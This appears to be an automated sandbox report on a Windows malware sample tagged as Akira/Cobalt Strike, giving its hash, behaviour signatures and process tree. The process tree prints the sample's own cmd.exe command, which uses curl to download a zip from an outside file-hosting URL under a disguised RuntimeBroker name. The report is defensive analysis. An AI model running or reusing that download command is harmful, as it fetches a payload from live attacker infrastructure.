Analysis
- max time kernel
149s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
20/07/2026, 02:50
General
- Target 2026-07-20_9458cdf16ed3d9cb3a900bf8d865dab8_akira_cobalt-strike.exe
- Size 286KB
- Sample260720-dbq6zafy21
- SHA256 12bdf8059f76f504bd7026da2ec8f888e46de646a8b252f3caa0d282bef863a2
Score
7/10
Malware Config
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\2026-07-20_9458cdf16ed3d9cb3a900bf8d865dab8_akira_cobalt-strike.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-20_9458cdf16ed3d9cb3a900bf8d865dab8_akira_cobalt-strike.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c "C:\Windows\System32\curl.exe" -sL "https://fileditchfiles.st/alpha17/0f613d905ef3c275e0ca/qt_test_8hfdr.exe.upload.zip" -o "C:\Users\Admin\AppData\Local\Temp\RuntimeBroker_svc_331.zip"2⤵
- Executes a command shell one-liner
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Network
MITRE ATT&CK Enterprise v16
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Downloads
memory/1232-0-0x00007FF70CC80000-0x00007FF70CCCF000-memory.dmp
memory/1232-3-0x00007FF70CC80000-0x00007FF70CCCF000-memory.dmp
memory/1232-6-0x00007FF70CC80000-0x00007FF70CCCF000-memory.dmp